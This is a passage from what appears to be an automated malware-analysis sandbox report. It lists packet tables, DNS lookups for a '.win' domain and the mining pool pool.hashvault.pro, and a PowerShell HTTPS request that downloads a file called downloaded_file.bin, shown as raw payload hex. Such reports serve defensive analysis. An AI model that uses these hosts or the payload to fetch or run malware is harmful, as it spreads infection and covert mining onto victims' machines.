Dec 9, 2024 07:38:32.522284031 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:32.580385923 CET	49764	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:32.580391884 CET	443	49764	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:32.580485106 CET	49764	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:32.580491066 CET	443	49764	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:32.580666065 CET	49764	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:32.580670118 CET	443	49764	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:32.606484890 CET	49764	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:32.606491089 CET	443	49764	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:33.177051067 CET	443	49764	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:33.225409031 CET	49764	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:33.486233950 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:33.584794998 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:34.503257036 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:34.584785938 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:35.498224020 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:35.584789991 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:36.515091896 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:36.678535938 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:37.331990004 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:37.332072973 CET	49741	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:37.332102060 CET	49744	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:37.332132101 CET	49745	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:37.332164049 CET	49746	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:37.332189083 CET	49747	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:37.451524019 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:37.451668978 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:37.452594995 CET	5200	49741	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:37.452645063 CET	49741	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:37.452667952 CET	5200	49744	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:37.452682018 CET	5200	49745	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:37.452704906 CET	5200	49746	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:37.452713966 CET	49744	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:37.452739000 CET	5200	49747	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:37.452753067 CET	49745	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:37.452766895 CET	49746	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:37.452790022 CET	49747	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:37.521822929 CET	49841	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:37.521836996 CET	443	49841	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:37.521913052 CET	49841	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:37.552119017 CET	49841	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:37.552130938 CET	443	49841	154.216.20.243	192.168.2.4
Dec 9, 2024 07:38:41.445997953 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:41.565404892 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:41.565498114 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:41.565654993 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:41.684873104 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:43.451169968 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:43.451333046 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:43.570631981 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:44.148427010 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:44.148679972 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:44.267884016 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:44.267966986 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:44.387347937 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:44.460668087 CET	49764	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:38:45.306169987 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:45.306324959 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:45.427345991 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:45.427406073 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:45.547873020 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:46.442291975 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:46.584878922 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:46.871848106 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:46.873086929 CET	49863	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:46.975434065 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:46.992415905 CET	5200	49863	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:46.992484093 CET	49863	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:46.992723942 CET	49863	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:47.111987114 CET	5200	49863	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:47.616810083 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:47.678558111 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:48.626482964 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:48.787916899 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:48.845232964 CET	5200	49863	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:48.845545053 CET	49863	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:48.965044975 CET	5200	49863	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:49.572501898 CET	5200	49863	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:49.573391914 CET	49870	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:49.616038084 CET	49863	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:49.643208981 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:49.692677021 CET	5200	49870	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:49.692761898 CET	49870	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:49.693182945 CET	49870	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:49.694150925 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:49.812390089 CET	5200	49870	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:50.643908024 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:50.694150925 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:51.547219038 CET	5200	49870	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:51.547347069 CET	49870	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:51.651631117 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:51.666627884 CET	5200	49870	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:51.694165945 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:51.979960918 CET	3333	49816	5.188.137.200	192.168.2.4
Dec 9, 2024 07:38:52.022370100 CET	49816	3333	192.168.2.4	5.188.137.200
Dec 9, 2024 07:38:52.246490955 CET	5200	49870	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:52.246890068 CET	49876	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:52.287949085 CET	49870	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:52.366194010 CET	5200	49876	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:52.366282940 CET	49876	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:52.366436958 CET	49876	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:52.486460924 CET	5200	49876	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:52.660698891 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:52.709789038 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:53.675936937 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:53.725435019 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:54.218904972 CET	5200	49876	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:54.219119072 CET	49876	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:54.338491917 CET	5200	49876	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:54.685566902 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:54.725589037 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:54.945370913 CET	5200	49876	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:54.945756912 CET	49883	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:54.991034985 CET	49876	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:55.065465927 CET	5200	49883	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:55.065731049 CET	49883	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:55.065856934 CET	49883	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:55.185142040 CET	5200	49883	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:55.685899973 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:55.725434065 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:56.688211918 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:56.741075993 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:56.919326067 CET	5200	49883	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:56.922786951 CET	49883	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:57.042020082 CET	5200	49883	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:57.652611017 CET	5200	49883	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:57.653084993 CET	49892	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:57.693500042 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:57.694333076 CET	49883	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:57.741055965 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:57.772568941 CET	5200	49892	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:57.772672892 CET	49892	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:57.772810936 CET	49892	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:57.892101049 CET	5200	49892	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:58.758207083 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:58.803538084 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:59.626790047 CET	5200	49892	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:59.626974106 CET	49892	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:38:59.705784082 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:59.746551037 CET	5200	49892	185.157.162.216	192.168.2.4
Dec 9, 2024 07:38:59.756656885 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:39:00.055717945 CET	3333	49816	5.188.137.200	192.168.2.4
Dec 9, 2024 07:39:00.100413084 CET	49816	3333	192.168.2.4	5.188.137.200
Dec 9, 2024 07:39:00.324997902 CET	5200	49892	185.157.162.216	192.168.2.4
Dec 9, 2024 07:39:00.366050005 CET	49892	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:39:00.721982956 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:39:00.772281885 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:39:01.722603083 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:39:01.772345066 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:39:02.727112055 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:39:02.772320032 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:39:03.737292051 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:39:03.787914038 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:39:04.752666950 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:39:04.794523001 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:39:05.757199049 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:39:05.804740906 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:39:06.770603895 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:39:06.811249971 CET	49848	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:39:07.783307076 CET	5200	49848	185.157.162.216	192.168.2.4
Dec 9, 2024 07:39:07.837609053 CET	49848	5200	192.168.2.4	185.157.162.216

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 9, 2024 07:37:02.468461037 CET	64457	53	192.168.2.4	1.1.1.1
Dec 9, 2024 07:37:03.250855923 CET	53	64457	1.1.1.1	192.168.2.4
Dec 9, 2024 07:37:36.142909050 CET	54892	53	192.168.2.4	1.1.1.1
Dec 9, 2024 07:37:36.610291958 CET	53	54892	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 9, 2024 07:37:02.468461037 CET	192.168.2.4	1.1.1.1	0x26d9	Standard query (0)	woo097878781.win	A (IP address)	IN (0x0001)	false
Dec 9, 2024 07:37:36.142909050 CET	192.168.2.4	1.1.1.1	0xc27b	Standard query (0)	pool.hashvault.pro	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 9, 2024 07:37:03.250855923 CET	1.1.1.1	192.168.2.4	0x26d9	No error (0)	woo097878781.win	154.216.20.243	A (IP address)	IN (0x0001)	false
Dec 9, 2024 07:37:36.610291958 CET	1.1.1.1	192.168.2.4	0xc27b	No error (0)	pool.hashvault.pro	37.203.243.102	A (IP address)	IN (0x0001)	false
Dec 9, 2024 07:37:36.610291958 CET	1.1.1.1	192.168.2.4	0xc27b	No error (0)	pool.hashvault.pro	5.188.137.200	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

woo097878781.win

HTTPS Connections

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Dec 9, 2024 07:38:29.876619101 CET	154.216.20.243	443	192.168.2.4	49764	CN=woo097878781.win CN=R11, O=Let's Encrypt, C=US	CN=R11, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US	Mon Nov 18 12:48:40 CET 2024 Wed Mar 13 01:00:00 CET 2024	Sun Feb 16 12:48:39 CET 2025 Sat Mar 13 00:59:59 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0	a0e9f5d64349fb13191bc781f81f42e1
Dec 9, 2024 07:38:29.876619101 CET	154.216.20.243	443	192.168.2.4	49764	CN=R11, O=Let's Encrypt, C=US	CN=ISRG Root X1, O=Internet Security Research Group, C=US	Wed Mar 13 01:00:00 CET 2024	Sat Mar 13 00:59:59 CET 2027		a0e9f5d64349fb13191bc781f81f42e1

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	154.216.20.243	443	7216	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 06:37:07 UTC	180	OUT	GET /downloaded_file.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: woo097878781.win Connection: Keep-Alive
2024-12-09 06:37:08 UTC	270	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 06:37:08 GMT Content-Type: application/octet-stream Content-Length: 515600 Last-Modified: Tue, 03 Dec 2024 18:46:46 GMT Connection: close ETag: "674f5216-7de10" X-Powered-By: PleskLin Accept-Ranges: bytes
2024-12-09 06:37:08 UTC	16114	IN	Data Raw: 2e 0c eb e5 fe 51 53 1e 6f 1d b2 28 87 2a e1 8c f3 2c 26 02 f3 81 9b 35 82 5b 91 fb dc cd 0e fa ad 82 31 59 82 ff b6 b7 81 c5 e9 eb 21 76 36 67 6b aa 7f 50 fc fa 16 fc 10 fa 5f 9e 0a b2 fc db 15 50 63 7e fa d9 56 9b 5f 51 a5 28 4e 0e 99 6a 0a a8 f8 bb 0e 69 a0 d8 72 1c 78 8b 7b 10 66 58 dd 68 79 2e 5c 71 32 83 aa fb bd 26 ee 69 f0 86 3a 29 d5 65 fa 90 2b 96 da 7b c1 67 3b b2 fd 14 3f 8f 4b 92 e9 7c 36 83 dd 20 f8 35 15 1a c0 00 f5 e3 d1 d8 93 f5 49 c8 52 47 c8 9f 5b b7 9f 36 c7 de 76 82 00 9e 3a d9 45 db 98 eb 29 3f af ae 91 fd 98 0c 4d 89 b9 60 f0 a0 a0 77 ff a8 fc b4 7a e1 9a 5b 66 88 43 e1 20 01 12 3f d5 d5 ac 6f 1f 2c 95 0a 1b fb 78 96 cf 6b b4 18 4f dd 31 b8 ac 36 cd ca 89 ea 8b 41 b6 a7 b1 de 12 dd 67 6d 84 c5 40 e2 fa d3 49 09 89 26 16 e1 06 27 ca Data Ascii: .QSo(*,&5[1Y!v6gkP_Pc~V_Q(Njirx{fXhy.\q2&i:)e+{g;?K\|6 5IRG[6v:E)?M`wz[fC ?o,xkO16Agm@I&'
2024-12-09 06:37:08 UTC	16384	IN	Data Raw: 8c 15 2f 34 a5 d7 35 3e bf 3c d8 89 78 cb 90 b2 e5 c4 92 d7 2d 5f f3 8a 36 64 02 ad 9e 1c a5 1a 80 94 05 5b 1a ee 74 67 74 40 3b 0a 1f 87 3c 3f f2 2a 83 c9 41 0a 9d 10 ab 5a a2 5d 87 10 49 1a e9 34 75 12 7a 2e dd 8b 1a 68 d3 71 ec 36 41 a5 0a 23 c9 41 83 fb 6e 40 e6 f9 a1 d1 30 51 8a 9c 75 5c d4 26 ed 71 ec 62 0c 70 55 35 0b 2d 99 be cc 8a 2a ea 32 99 3c 32 36 9a f8 a8 58 96 8e 39 d1 90 61 58 22 4e 35 2a 9d 47 cf 1c a1 fe 1e fb b4 7f a7 ad 2f 73 dc 4f 4c 7a 42 14 34 97 ea 6c 50 d8 1c ad 91 8e 8b 49 e4 70 13 1d c6 67 d0 cd d7 a9 98 d6 46 6f f0 da db 18 45 36 cf d3 2f 08 de d5 23 e2 4b 14 fb f4 85 aa e2 bc ef 67 76 47 c7 6f 8e 0b dd 73 5d f1 f6 79 cf e0 cd e4 76 d8 40 4e a0 41 f9 0d b9 2b a8 6c ea 6e 38 d7 6f 85 1c e7 7f bf 9f 35 66 a3 79 ac b4 1b 51 2a 11 Data Ascii: /45><x-_6d[tgt@;<?AZ]I4uz.hq6A#An@0Qu\&qbpU5-2<26X9aX"N5G/sOLzB4lPIpgFoE6/#KgvGos]yv@NA+ln8o5fyQ
2024-12-09 06:37:08 UTC	16384	IN	Data Raw: 77 44 cc 55 d1 3d 87 bf 1a cd a3 dc 09 1e 03 48 d2 63 e4 fd 16 02 8b 35 46 16 d1 71 0a fb 48 45 d7 65 0c e4 3f 16 71 5a a7 8f 4a 34 9d db ac 23 24 b4 f1 f4 fe ce ff f4 8d bf bd 13 73 d7 6f e0 aa d8 49 af ed 20 5b f0 7a 6f 13 72 90 03 52 f8 fb a8 87 6d 01 ab b0 af 0a 29 ca a2 72 8e 8a c4 5a 08 80 6a 72 81 6d 24 35 60 5b 2f 63 42 ba f7 a1 d9 c4 f6 31 be 08 13 c0 3c 47 05 ca 1f 7c 28 38 0d c9 57 4e 4e 73 cb d0 d3 e4 94 9d 70 08 e1 6d 44 20 4b bf 81 f2 95 b8 c4 83 f1 ad c6 0b 96 0b 32 2e ce 8c 47 a2 ff 64 57 7c 24 3a ad a4 ca 7e 82 cb 2c 70 2e ad 80 09 24 2d 34 bd 7e 6a 88 2b fa d3 c4 bc ca 90 e7 87 5e 97 94 d9 1f c2 20 b8 35 b5 91 03 3c cf 86 35 3e b4 f2 b1 c9 10 c8 9c f6 f8 14 bb 71 48 a5 36 00 5c db 5e 9c 24 80 c7 33 0d 82 34 d2 b1 fb b0 14 84 3f 7d a4 9b Data Ascii: wDU=Hc5FqHEe?qZJ4#$soI [zorRm)rZjrm$5`[/cB1<G\|(8WNNspmD K2.GdW\|$:~,p.$-4~j+^ 5<5>qH6\^$34?}
2024-12-09 06:37:08 UTC	16384	IN	Data Raw: fb a5 8f 4e 3d 74 95 bc e4 1b 3d b0 55 a6 7f 3b 9a 97 80 1e be 13 2d d4 2c ac 4e 8b 21 c0 bc 74 5d 2a b9 00 b8 f7 8d 58 5d 7c b4 2c 5e 44 ec 39 7c 75 60 38 8a b0 d2 91 de f2 43 c7 bf 94 49 14 31 d3 2e cc 2c 16 86 ab c0 56 f1 21 ec 31 9a 2e 73 ba af 17 24 f7 cc 8d 68 14 78 49 d8 0a df 8e 5d 56 bf 86 10 78 66 fb a9 74 72 62 ff fb f2 cc dc 43 c0 66 d9 d2 69 9d 33 8d 18 23 00 b6 7e d2 0a 16 82 72 2a 3a 9b 9e 49 d4 70 7e 7f 2a 73 a5 09 0b 72 89 bc b5 c1 70 e2 71 ca 9c a0 6a 8b ea be 6b 16 83 c7 34 e5 39 3c 05 c3 44 93 39 fd b7 8f 20 dc 20 75 d7 f3 04 e3 39 64 ae ea 46 f7 86 ee 26 26 d4 cb 65 67 8d eb 55 30 0d a9 f5 b2 82 35 05 d4 18 13 94 d2 9a 15 fb 3f 4c 97 96 a8 ba 24 6a 28 c9 5b ed e3 33 9e c7 67 d0 7a a8 36 c2 37 29 68 4d 39 b3 a2 02 71 62 11 74 26 37 fa Data Ascii: N=t=U;-,N!t]X]\|,^D9\|u`8CI1.,V!1.s$hxI]VxftrbCfi3#~r:Ip~*srpqjk49<D9 u9dF&&egU05?L$j([3gz67)hM9qbt&7
2024-12-09 06:37:08 UTC	16384	IN	Data Raw: 9f e1 12 13 7a 42 b8 4c 70 71 f8 28 76 2f 9b ce e2 b0 71 ea c6 c4 0f 88 2d 12 1f a4 c9 6f 11 fa 35 f2 b5 ab 01 2e 70 2a eb b6 d0 94 3d 11 fb ca 58 3f e5 bf b6 8d ab 75 0e 5a 41 29 9a 63 5d 9e 20 64 0b 3b 3a ea eb 56 ef 21 eb ab a2 11 ba a6 ad e1 9e a3 2a c4 cd 15 d0 29 c1 1a db b7 1e 17 ef 4d ea e3 d1 9b e7 00 19 2a e8 77 6b 85 0d 16 e8 f7 d6 a8 e6 e7 bc c3 49 b9 b1 e0 80 5b 82 c5 7c ed 65 cb 19 82 52 b8 ee 21 ed 20 c2 3a 14 88 84 6a ef 9c 8d a0 c3 8f a8 dd 08 f3 2a 58 19 fe 0b a2 f3 a9 89 d2 a0 ba 20 b4 5f 0c 86 a4 44 f2 17 2c ba 36 e0 8f ff 49 35 99 d0 a1 49 3e 55 0e 25 80 23 af 61 4c 29 6a ae 72 d2 c6 ca 18 85 4c b6 b5 0c 56 e5 82 e4 06 b8 be 42 8b ff 68 62 1e b2 b0 81 fe c9 e7 b3 25 17 6d 86 2e c8 8a fb 10 26 e6 d6 77 7f 5e 2c fe f4 99 a8 e3 f1 c9 aa Data Ascii: zBLpq(v/q-o5.p=X?uZA)c] d;:V!)MwkI[\|eR! :jX _D,6I5I>U%#aL)jrLVBhb%m.&w^,
2024-12-09 06:37:08 UTC	16384	IN	Data Raw: 86 90 1d 44 42 9e 9e b7 df c0 fc 4b 24 3b 49 c6 df f6 f3 3f de 4f f1 ad 49 e5 94 78 10 b5 28 78 f7 31 1f 26 42 f9 d6 49 0f 1f 08 d7 88 01 f8 4f 9d 88 f1 6e 41 c4 fe d2 40 9a 78 c3 21 3f e6 54 93 4f a0 10 cd a7 14 c4 58 22 7e 82 ef 66 2e d0 a9 62 62 45 aa 8a 7c c3 10 95 9f 4d ff 39 9d 09 ba 78 f4 76 64 e1 f7 82 c2 94 15 57 a9 87 a6 9a b2 6a 63 c9 33 e5 2e a2 98 e8 96 69 ee 0d 8a 69 0c cb 59 f3 10 69 af 9d 69 27 1a 8b 0d 9e b0 e9 3b c9 96 38 12 34 fc 59 59 bb 29 90 b4 6c a8 8d ac 42 57 d8 c7 b2 d3 e5 bc 7a c9 e8 a6 38 9e 3f de ab e6 6a a2 2e 8d 53 f4 b7 52 e1 7b 5d 8c b0 a6 c0 fd 0a 22 c9 4a 23 77 15 8f ee ce e2 bc 86 25 5c 60 3e 35 3a f0 7e 57 0f ef d7 04 df 32 8c 86 2b 15 a3 58 7e e1 88 b9 ea fb 41 9c 7b 4c 25 6a 7e 7b e0 49 0a 37 c3 87 f0 f6 39 2d a5 14 Data Ascii: DBK$;I?OIx(x1&BIOnA@x!?TOX"~f.bbE\|M9xvdWjc3.iiYii';84YY)lBWz8?j.SR{]"J#w%\`>5:~W2+X~A{L%j~{I79-
2024-12-09 06:37:08 UTC	16384	IN	Data Raw: 1b 71 e4 65 12 a3 0e 09 a9 9e ce 01 8d 50 66 7b b8 49 00 44 81 6b 18 ac 44 ac fb 81 a6 1e d2 90 95 f6 2b f1 f1 aa b8 dd d5 34 76 3a 16 7e 70 d4 f1 79 be 22 50 b5 3a f3 5f 48 e9 af 0d 4f 5f 78 71 00 a3 5f 42 f8 67 24 85 1d b3 fa ed 45 49 75 1a cf ec 38 3f 14 28 21 20 eb 36 3d 7a dc f7 92 30 73 f3 02 4c 91 75 8b 29 d1 a7 9c 5a 46 15 3d e1 35 1b e6 ee 5b 91 c0 c0 06 a0 24 58 a2 7b df 0d a7 2c 1c 4e 5a f0 49 b2 44 24 25 76 3b 9b 19 5d d2 ec 9c 9d 39 56 75 55 78 0f ee fa 2a 36 57 af a1 57 d9 72 61 a6 96 1c 71 84 fb 7f ca d1 37 6e f6 13 91 cd 2c 21 be 56 d9 38 6e 31 c6 29 c4 cc f2 69 0e 7d 20 df 37 5b 7d ae ac 23 3c 23 96 58 77 5c 97 11 b3 2d c3 dc c4 a4 21 7e a9 be 92 44 3a eb 6c fe 77 9f 82 8e f3 0c b5 81 65 4e df 4e e8 32 a1 5a e8 b6 7c da ac fb 0c ce a8 10 Data Ascii: qePf{IDkD+4v:~py"P:_HO_xq_Bg$EIu8?(! 6=z0sLu)ZF=5[$X{,NZID$%v;]9VuUx*6WWraq7n,!V8n1)i} 7[}#<#Xw\-!~D:lweNN2Z\|
2024-12-09 06:37:09 UTC	16384	IN	Data Raw: 63 56 1d ab 8d 68 f7 05 e7 4b 47 30 4c 8d 81 e5 3f 2c 84 53 f8 ea 71 36 b9 d8 1e 42 14 cb 56 5f f8 52 0c 5c 6b 27 7e 12 ba 8b ec 8c 50 d6 2b dc 8f 5d 10 b4 cb af 7d 0f bf 7b 0d 7d c9 58 db f4 06 fc 09 f6 d9 c4 e1 9a db 62 42 ce 27 14 05 4c 70 93 e2 d1 27 b4 0f 3c 6b 96 c7 bb 4a 7d 40 bf 18 95 46 87 c4 f6 7b da af dc 7d 39 e8 48 5a 4d 3a c2 df 55 66 04 cd 00 82 8a 2f fc d5 e2 e5 08 85 90 3f b6 7b 74 97 e8 94 85 dd 90 c4 3e 9d 1a 4f 11 13 06 21 56 ea 31 7c 4c cf 01 da 47 00 ff a1 2e 78 41 3d 9f b6 69 32 75 50 42 9f 2a 76 3c 71 dd 55 0c fc c2 46 ab bc 34 3b c9 c9 40 0e 15 c1 60 f0 66 44 2e ef 6e 75 99 b8 0a e3 74 b5 09 1b 5b 26 cb 37 b5 f1 63 bb 47 3f cb 80 46 95 be ac 8a 54 7d 9f 1e e2 73 f7 6e 2d 24 88 09 e2 36 d5 5d 58 47 f9 97 28 a1 82 23 8a ec 8c 1d af Data Ascii: 